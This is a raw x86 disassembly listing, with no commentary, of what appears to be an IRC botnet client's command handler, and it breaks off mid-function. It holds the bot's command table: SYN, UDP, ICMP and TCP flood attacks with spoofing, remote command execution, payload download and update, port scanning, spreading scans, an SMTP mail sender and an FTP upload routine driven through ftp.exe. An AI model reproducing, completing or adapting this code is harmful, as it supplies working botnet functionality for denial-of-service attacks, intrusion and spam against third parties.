		push	offset aUser	; "user"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41107E
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_411057
		cmp	[ebp+var_9C4], bl
		jz	short loc_41102D
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_41102D:				; CODE XREF: sub_40EE72+21A7j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx

loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------

loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------

loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C4
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_437798
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h

loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"

loc_4110B1:				; CODE XREF: sub_40EE72+4854j
					; sub_40EE72+4B7Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------

loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_437768
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_43773C

loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4849j ...
		mov	esi, [ebp+arg_24]

loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B37j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43F5E0
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43F6EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43F6E8
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43F668
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43F6B8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F4

loc_411888:				; CODE XREF: sub_40EE72+3B53j
					; sub_40EE72+3E3Aj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A64
; ---------------------------------------------------------------------------

loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_43739C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40EE72+2A87j
		nop
		call	near ptr 25F09B1h
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437324
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E8

loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D

loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------

loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8

loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372B0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"

loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_43725C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411BE3

loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------

loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset dword_437214
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371CC
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437174
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411CF8

loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------

loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_43712C
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10

loc_411D1F:				; CODE XREF: sub_40EE72+3A68j
		add	esp, 0Ch

loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------

loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------

loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx

loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370BC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411E54

loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------

loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_437074
		jmp	loc_4128CE
; ---------------------------------------------------------------------------

loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
